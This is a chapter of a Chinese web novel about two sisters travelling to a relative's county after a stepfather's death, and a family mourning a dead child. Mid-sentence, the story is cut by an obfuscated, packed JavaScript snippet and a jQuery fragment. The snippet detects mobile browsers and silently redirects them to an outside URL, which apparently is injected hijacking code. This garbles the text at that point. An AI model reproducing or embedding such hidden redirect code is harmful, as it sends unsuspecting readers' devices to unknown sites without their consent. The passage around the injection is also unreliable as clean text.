公交车停在山路上。
昭岁拿着手机在看路况，有显示最近泥石流的警告，她怀疑可能是原因。
两人没有座位，只能站在车厢，扒着扶手。
昨天骑车人晚上就走了，姐妹俩就在景区停车场睡了一晚，逍遥小姚知道姐妹俩顺路，邀请她们上房车，一块过去。昭岁拒绝了。
这会儿，如果坐在房车上至少有位置。也可能房车早就下山了。
“后悔不？”映年问。
“不，”昭岁说，“就算是你同学的同学，就算是认识，她坐牢实锤，原因也是一面之词。”
“我看你吃挺多，不怕毒发身亡？”映年说。
这话一出，昭岁沉默了，盯着映年。映年看着昭岁的眼睛，避开了。看来她还没有完全掌握玩笑的尺度。
逍遥小姚真有难处，又只有自媒体收入，可能的解决方法就是说明当时的情况。不至于让逍遥受着这份骂，可转一想，逍遥也是甘愿着，说出后可能枪口就对准小姚了。
这有自揭伤疤也无法继续从业的风险，衡量下这种操作的可能性有，但也没那么容易。
人只有看别人事儿的时候，看得最开。
没有时限的堵车让时间变得难捱，乘客早就超过了社交意义上的友好距离，人挨着人，往右转头是这人的手臂，往坐转头是那人的头顶。山野车道上没什么香水味，还没有香精勾兑的零食，可光是躁动的呼吸和粘腻的汗渍都让人够不爽了。
堵车无疑加强了这场感知。
昭岁突然意识到，让映年陪着一路下来，这对于她来说可能是一种慷慨的牺牲。
昭岁说：“要不下车吧？走过去。”
映年说：“附近哪有车。”
昭岁虽然说是走下去，实际她也没有任何把握。即便有一通识图的本领，可距离上次来时，这又变了样。
她就来过骡县两次，一次是结婚的时候，一次是刘太爷爷去世了。她惊异于地区的命名方式，螺市的骡县。在刚认识刘海洋的时候，年纪不到十岁，对这字的学习不懂，总是混淆。齐美裳结婚时带着她来了骡县，骑了一次骡子，算是有着参照物终于明白了。
刘太爷爷去世是她初中的事情了。这些年，齐美裳尽量避免去骡县，太爷爷对刘海洋疼爱有加，总该去的。
记忆中远处有工厂的烟囱又扁又高，有白烟升上天空，不知何时已经推平了，这样看过去，是一条条高耸的水泥柱子。去年大霜就说，骡县在修高架，到现在只打了桩，进度缓慢。
她打开大霜的微信朋友圈，发现有一条新的，时间是今天下午五点。不是她以为的高考录取截图，配图是一张天空的图片，前景有一个举着的网球拍，后面有裸露的高架柱子出镜，文案是：已被晒服。大霜没去市里，就在骡县。
堵车到一个小时，有部分乘客的要下车，司机开了车门。
昭岁在网上看路况，刷到了堵车的原因。有司机撞死了农民养的鸭子，村民联合着堵成人墙，要求赔偿。肇事车辆早就开走了，剩下的车没犯错，不愿意给钱。僵持不下了，警方和村委会一起调解着。
昭岁在这条贴子下面留言：鸭子都是认路的，怎么会在大马路上走？
可能这一条路堵车的人不在少数，很快就有人回复她：这是重点吗？
昭岁盯着这回答，笑了。她还是在思索为什么，突然一下，想到了。打桩的高架建在河滩旁，每天叮叮当当的，鸭子估摸着也受不了吧。它们首批受到骚扰的族群，真到迁徙的时候，又被旧路上的车撞死了。
堵到两个小时的时候，又下了一拨人，昭岁和映年终于有位置了。这位置靠窗，阳光透进来晒着，她们只能把外套拿出来支着遮阳，也阻拦了大部分往下吹的空调。
手机率先撑不住，昭岁把充电宝拿出来充电，她在用表格整理路线，记录一下时长和路况，打了一会儿很烫，她瞥眼看映年在做什么。
映年在看学校那晚没看完的恐怖片。昭岁凑过去看，映年分给她一个耳塞，两人挤在一块看一个小屏幕。
在这充盈的阳光下，体会是不害怕，屏幕最亮还反光，稍微晃神就能看到自己的眼睛，一点氛围都没有。
反倒是给了俩人一起吐槽说话的空隙。
电影里的一个配角，耿耿于怀于一次□□，到学校贮藏库里去翻到了从前的试卷，终于心安了。即便这被学校里的恐怖生物袭击，他也要冒着这个风险。
“这几天做梦，我感觉我是错了一道几何题。”昭岁说。
“没对答案？”映年问。
“对了，我不记得。”
“数学考挺好啊，应该不是。”
“我不会在多年以后，还要在梦里去做高考的那道题吧？然后惊醒。”恐怖的不是错漏那道几何题，是自己可能在潜意识中，不满现状又无力承受，才去找个无法改变的事实。
在这之前，昭岁更多梦见的是刘海洋和她一块玩赛车的场景。
谁也不当冤大头的结果是堵车堵了五个小时。公交车人很多是附近居民，下车差不多了，行驶时只剩了半车人。路过事发地点时，昭岁从窗户探头出去，果然在路边发现了一处尽是羽毛和血的地儿。鸭子已经不在了。
堵车打乱了出行的计划，下一站换乘车辆结束后，没赶上末班车。
这一片还不方便露宿，俩人边走着边计划怎么办。真到一个岔口，没想到又碰到了逍遥小姚。
她们正在换胎。
小姚更清楚路况，天色近黄昏，这一带没什么车辆，再次邀请姐妹俩上车捎一段路。昭岁还是拒绝。
姐妹俩继续往前走，不一会儿，房车驶过，超越了她们。
“这一带挺多野坟的。”昭岁突然说。
“噢。”一路过来上山下山的，不见得少。
又走了一段路。
昭岁又说：“我爸刚病那会儿，谁都没说。”
映年意识到了昭岁的情绪。
再过一会儿，昭岁又说：“那游戏真不如赛车好玩，后来我发现我的差评被投诉隐藏了。”
映年把昭岁背后的帐篷包拿过来，自己背在了身上。昭岁停下来了。
映年陪着她。
昭岁说：“我给大霜打个电话，让她来接我们。”
映年说：“打车吧。”
昭岁说：“不，我要打电话。”
拖到现在，终于有了个一定去联系的借口。昭岁在前面想了很久，到小姚说与薛在洲的关系时，也想到了黄柠檬和大霜。按照黄柠檬包不住事的性子，估计她来骡县的事情，早就传进了大霜的耳朵里。
这样想，开口变得没那么难。
昭岁点开微信视频打过去。没人接。
映年说：“还打不？”
昭岁说：“走吧。”
又走了一段路，昭岁突然变得很生气，一下把包放在地上，自己坐上来，掏出手机继续打。
昭岁说：“她怎么不接我电话！”
连续打到第三个，终于有消息了，大霜挂断了。
昭岁转头看一眼映年，说：“……打车吧。”
映年蹲着呢，拿出手机打开打车软件，系统显示正在召唤司机。
昭岁的手机抖了一下，大霜的语音通话过来了。二人对视一眼，映年还没取消呼叫。
“到了？”大霜问。
“没有。”昭岁说，“你咋知道的？”
“你做事敲锣打鼓不是很正常，真以为能给我什么惊喜？”
“我卡山上了，能不能来接我？”
“求人这态度？”
“霜霜姑姑，来接一下小辈我，不然腿走断也到不了。”
“我家车保养去了。”大霜学驾照是去年的事情了，拿证的朋友圈，昭岁还点赞过。
“我走不动了，我把地址发你。”
“……你姐一块？咚咚在不？”
“我姐在，咚咚没在。快点。”
“不问清楚，怎么知道该开骡车还是汽车来。”
挂断电话，昭岁起来活动了一下，让映年坐在她包上，映年不坐。
“你坐吧，舍不得你的包，坐我的包有什么？”昭岁受不了她，撑着映年的肩膀，把人按在包上了。
映年说：“感觉你们关系挺好的。”不像是能纠结这么久的。
“不一样吧，朋友分很多种。如果我和黄柠檬分开一段时间，我会联络她，但联络就是联络，失联的空白期会影响我们之间的关系，需要一阵子去修复。和大霜就是，联络前要做足心理准备，她就是很坦诚的那种，知道我可能尴尬，但是她完全不会因为空白期影响。当然，空白期也影响我。”昭岁说着，笑了，“我其实没想到会这么自然。”
_
老屋的堂屋久未打扫，即便是请了保洁清理，空气中仍然有挥之不去的浮沉，也可能是新烧的香灰，这份旧尘与新灰杂在了一起。
灵位摆在左上角，是个小孩的脸，横幅已经撤了，面前摆着新鲜的水果。
香又要完了。
柳丝丝从抽屉里取了新香，递给刘孟德，自己也拿着一组，就着燃烧的烛火平平点着，白烟起来时，她把旧香取下来，新香插上。
刘孟德还在作揖，她退时，刘孟德上前插上香。
实际刘丕去世已经是五月的事情了，刘家人一年内故去两位亲人，总归不是好兆头。柳珍受惊住院，刘孟德就一条龙服务操办白事，被柳丝丝主动揽下。
她考虑更周到，连重丧的情况都想到，又与殡仪馆人员颇有交集，送走刘丕的葬礼葬礼办得隆重，可谓是面面俱到。乐器和哭丧没停，棺材前的香烛灭了又续，水果每日添新，只有纸做的花圈省事，可难免沾了尘，白花看上去灰扑扑的。
办完柳丝丝回了城里工作，这番回来，是送刘丕的遗物。这些天刘孟德没回家，就睡在老屋，两个长凳支着床板，就用个夏凉被盖着在睡。
到底还是舍不得刘丕。
父女俩重新坐回桌旁，刘孟德拿着绘本继续在翻，柳丝丝坐在一旁，笔记本支在旁边，在整理工作表格。
“多久开饭？”刘孟德问。
“大霜去问了，等会儿回来。”柳丝丝说，视线没平移过去，工作已经够她焦头烂额了。
“别干了，回来。”刘孟德说着，想要去扣下柳丝丝的电脑，在她抬头时，眼神对视，停住了。
柳丝丝还是一副乖乖的模样，笑容甜甜的，对他的话总是应着。刘孟德清楚她变了，他从前觉得无所谓的，现在才有心慌的感觉。
“嗯，你又不是做不动。”柳丝丝还是承着他的话，笑得很乖巧。
“家里的东西，迟早都是你的。”
刘孟德的话，是说给柳丝丝听的，也是说给自己听的。人到了六十岁，身体机能下降，他迟早会有走不动的时候，从前他觉得能培育刘丕，现在只能仰仗柳丝丝了。他这话，更多是提醒自己，要哄好柳丝丝。
早些年柳丝丝不顾阻拦学了播音，复读硬要考去传媒大学，出来进游戏公司，很多时候还需要家里接济。在他看来，都是些不务正业的活。真让他发现柳丝丝的作品，还是刘丕那，她参与的上市游戏，是耽误着青少年学习的那一卦。
她每次与家里联系，就是要钱，偶尔柳珍电话过去问近况，也是匆匆敷衍两句就挂断。刘孟德与柳丝丝，自然不算亲厚。
谁都没想到刘丕会病得这么严重。
刘孟德最初电话让柳丝丝回来，是以免传出姐弟二人兄妹不和睦，影响家里的生意。怎么劝，人都不回来。刘家人统一在今年开春做了体检，亲属们还真检查出一些问题，刘孟德就在其中，有病症早期的征兆了。
柳丝丝反而主动回来了——这理由，比起刘丕的病重，刘孟德更情愿去相信是自己的生病。
他心头复杂，想骂她，又担心她真的决心一走了之，他还有求于她。去年刘海洋去世后，刘孟德心更慌了，总觉得不是吉兆，把家里的生意拿给弟弟去管，和柳珍一块暂时去了市里的别墅，方便照顾治疗刘丕。那别墅，以前是为了给刘丕补习买的，没想到装修好就生了病。
这番回来，她一直是在市里租房，找的工作比游戏公司靠谱，在旅行社做导游。柳珍去劝她过来别墅住，把钥匙给了她，柳丝丝没回去过，真到刘丕离世后，操办葬礼的同时搬进了别墅。
柳丝丝和刘家人走得不算近，也没到远的地步。她在分寸上拿捏得刚刚好，逢人笑脸，哪怕背地里有人说她坏话，也全当不知，有人求时，尽心尽力。只有刘孟德夫妇，感觉她变了，可着变数，是夫妇俩讨来的。
大霜挂了电话进来，来叫二人吃饭。这个月刘孟德住老屋，不回去，饭都是吃她家的。
“丝丝。”大霜坐在柳丝丝旁边，“车借我一下呗？”
“干嘛？”柳丝丝问。
“朋友来了。”大霜说。
柳丝丝瞟一眼刘孟德。柳珍去旅游了，家里没人，晚上刘孟德估计还想着让她留在老屋一块休息。即便他嘴上不说，计划还是这样计划的。
计划不会影响到柳丝丝。就像柳珍在今年变得殷勤起来了，明明是煲给刘丕的汤，还会给柳丝丝送去。人总归是为自己考虑的。
“走。”柳丝丝摸了摸车钥匙，“请我吃饭。”
车是刘孟德给配的，说是方便柳丝丝上下班，实际上更多时候是想要她从县到市区来回接送。
不过车挺好，刘孟德的面子很重要，出手一向大方。
“你恋爱了？”柳丝丝问。
县里没有网球场，大霜住县里的话，打球都在草场旁边的空地上，不规矩，但也能玩。柳丝丝和她打过，也清楚那地儿，今天路过时看见有个男孩在和她对打。县城不大，资源有限，人连着人，大伙都认识，大霜练球都是一个人，这番打的有来有回又来县城找她，绝对关系匪浅。
“没有。”大霜说。
“不是去找他？”柳丝丝疑惑，觉得小孩可能是害羞，“做好安全措施就行了。”
“这倒不用。”大霜说着，把地址转给了柳丝丝，“海洋哥之前的女儿过来了。”
“措施很重要。”柳丝丝点开地址，同步到车载导航中，“海洋叔叔不是在市区公墓吗？找这来了。”
“过来看我不行吗？”大霜说，“还有，我不接受纳入式，真不是我对象，一个学弟而已。”
柳丝丝说：“那也要注意安全。”
她知道自己可能是多操心。大霜打网球，体格比她壮硕许多，高她半个头，旁人看了更多以为柳丝丝是妹妹。年龄上柳丝丝比大霜大九岁，辈份上大霜是她的姑姑。
大霜也笑：“你这人，太装了。”
_
映年打开地图，在计算这里与骡县的距离，两指衔着屏幕缩小又放大，来回反复，视线放在一片草场。
汽车到达的时间，比地图预估的时间快二十分钟。
昭岁招呼开后备箱时，才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259942|178458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发现驾驶座坐着的不是大霜，那人脸圆圆的，小巧精致，笑容甜甜和她打招呼：“昭岁是吧？长大了。”
“对，就她。”
昭岁视线往里去，副驾驶坐着的才是大霜。她瞬间有麻烦别人的愧疚感。
后备箱没打开，大霜直接说：“上车，背包就抱着。”
“我怕弄脏了你座位。”昭岁说。
大霜和柳丝丝对视一眼，柳丝丝打开车门下来。
“我自己来就好。”昭岁说着，先一步走到后备箱。
愣住了。
里面有两个纸箱子，有一个开了口，一摞摞的全是纸钱，还有些散的，写着天地银行。
柳丝丝把两个箱子重叠在一块，腾了一块地儿，给昭岁和映年放背包。
关车门坐上车，昭岁极度后悔硬要放后备箱。映年轻轻拍拍她的手背，算是安抚。
车辆开始行进了。
“我姐齐映年，这是刘凌霜，按辈分是叫姑姑，不过我都叫大霜。”昭岁给映年介绍大霜。
大霜和映年打了个招呼，转头递了两瓶水往后，给了两人，介绍柳丝丝：“丝丝，我大侄女，你们叫姐就行。”
映年接过水，感激：“打扰你们了。”
“不算，是正好出来溜风呢。”大霜说，“这几天球馆关了，在县城住着。”
昭岁只能看到柳丝丝的侧脸，她这才反应过来两人见过一面。
刘爷爷去世是在她初中的时候，那会儿来骡县，葬礼上就说柳丝丝缺席没在。时间再往回倒，刘海洋结婚那会儿来骡县办了酒席，她见过这个姐姐。
昭岁不到十岁，当时柳丝丝还穿着高中校服。有刘家人在背地里说闲话，让小辈们该学习的时候努力学习，不要像柳丝丝一样打游戏耽误一年，又在说柳珍即将生产，要添新丁了。
齐美裳对刘家人印象不好，很大原因就是那次婚礼，明里暗里对昭岁的身份嫌弃。所以那会儿，昭岁注意到柳丝丝，完全是有种“同命相连”的错觉。
之所以是错觉，是真到刘孟德发言时，围上去恭维的也是那波人，祝福起了柳丝丝再次高考能够取得好成绩。
柳丝丝模样很显小，昭岁第一眼没认出来，真知道身份，也没往二十七岁上代，更像是同龄人。
大霜是听昭岁说完了这些天的路程，没想到她真能走到这。
“今晚打算睡哪？”大霜问。
“找个空地睡帐篷都行。”昭岁没想到住刘家房子，她不喜欢刘家亲戚。
“我也挺想睡帐篷的。”
“睡袋不够。”
“我自带被子行不行？”
“也可以。”
“那晚上有安排没？”
“没有。”
“那之后呢？”
“走哪算哪。”
“那请我们吃饭。”
柳丝丝转头看大霜一眼，笑了。
昭岁路过刘家老屋时，还很讶异：“我还以为拆了重建呢。”
“本来是这样打算的，现在没有了。”大霜说。
早年刘海洋和大霜父母一块去的鹊市发展，离开前没自己的房子，就是住在老屋，回骡县来办得一场婚礼，也在老屋。前两年说着要重修老屋，刘海洋还回去几趟收拾，东西都盘点一遍都清空了，换了点钱回来给昭岁买了个大模型。
这倒是真松活了不少，死后，也不要多费力去收拾了。昭岁就反刍时，就想是不是那会儿刘海洋就已经病了。
“家里出事了吗？”昭岁不知道该不该问这话。可在大霜面前，没有装下去的必要。
“嗯。”大霜看一眼柳丝丝，接收到她的眼神准许后，继续说，“大哥家的小朋友，丝丝的弟弟。”
“也是遗传病？”
“不是。”
算起来，那应该是个小朋友，这么早发病，实在恐怖。昭岁松了一口气，为大霜。
吃饭的地儿是大霜找的，菌菇火锅。这顿算是昭岁和映年吃得最饱的一餐，甚至很久没吃这么热乎的了。
“海洋哥还有些小东西，什么毕业照啊手表啊，都是些读书时候的东西，上次收拾没带走，奶奶给收起来了。”
大霜回忆起二姨哭着咒骂刘家人短命的病，二姨恨这场病无法纾解，好像务必要把怨恨放在活人身上才够，那便是齐美裳了。这是“怨恨”，又不是“怨恨”，更像是一种“念想”，才能让她充满能量的活下去。在知道齐美裳再婚后，这种能量燃烧得更旺盛，很快就从失去刘丕的哀愁中振奋起来了。
她自然没当着昭岁说，只提醒昭岁：“这些是要不回来了，最多就能带你上上坟。”
昭岁来的时候，也没想那拿走什么。现在大霜这般说，她反而踌躇起来了。踌躇的不是拿不拿，而是拿走了，该放在哪。
她住在父母复婚的新家里，是“出厂设置”的一家人生活。即便是祁孝逑不在意，将刘海洋的照片摆进相册，总觉得怪怪的，如果将此束之高阁，又缺了悼念的意味。
再婚时候，来骡县一趟，齐美裳和昭岁打商量：“能不能换个称呼？”
“换什么？”
“你海洋叔叔的称呼？”
“叫海洋叔叔不行吗？”
“这是刘家人的地儿，也是他家的。”
昭岁知道齐美裳在暗示什么，她转头看一眼刘海洋，对方朝她笑：“没什么，叫叔叔也行。”
那次来，刘家人有问过齐美裳，能不能给昭岁改姓，这事是先一步被刘海洋拒绝了。继而到了下一个话题，刘海洋是头婚，去问齐美裳有再生育的打算没，给刘海洋一个亲生小孩。昭岁不知道两人怎样答，那阵子她担心真有个弟弟妹妹，又觉得刘家人真坏，齐美裳都四十多了，还要让她冒着这风险。
回去后，可能出于恐惧，也可能是担忧，还有对刘海洋的考验，昭岁开始管刘海洋叫“爸爸”了。
今年出发，她就觉得自己该来祭奠。大霜这样说，她突然觉得自己的立场很微妙。
同时她在想一件事：今年来了，明年呢？后年呢？十年后呢？二十年后呢？她好像找不到答案，而更难启齿的是，今年的这次也带着“顺便”的意图。
更像是看了攻略，故意去开第三个游戏档，让杰克来杀死自己一样，让自己好过些。
怎么到现在，只有他的妈妈还念着他了。
你也太坏了吧……不可以忘记的，昭岁告诉自己，刘海洋也算是当了你十年的爸爸。
昭岁问：“奶奶身体怎么样？”
大霜说：“好着呢，赶骡子可快乐了。”
晚上她们把帐篷扎在了大霜练球的场地。大霜真的来了，她和映年聊得不错，两人就着网球的话题聊来聊去，中途来劲了，不管搭帐篷，拿着球拍指导起了动作。
昭岁在搭帐篷，等到了齐美裳的消息。
上一条是她在吃饭的时候发的。
昭岁：你姥姥叫什么名字？
齐美裳：齐明珠。
齐美裳：怎么了？映年见过，你出生的时候不在了。
昭岁把手机放下，喊了声“映年”，问出一样的问题。映年回答：“明珠”，昭岁松了一口气。
她又打字问：为什么没立墓碑？
往年每年齐美裳都带着她祭拜的，是在临近公园的山上，对比隔壁的坟，没有墓碑。很像是这一路上遇到的各种坟——她认为从前称作野坟，太不礼貌了。
齐美裳：这个要我去问一下我妈。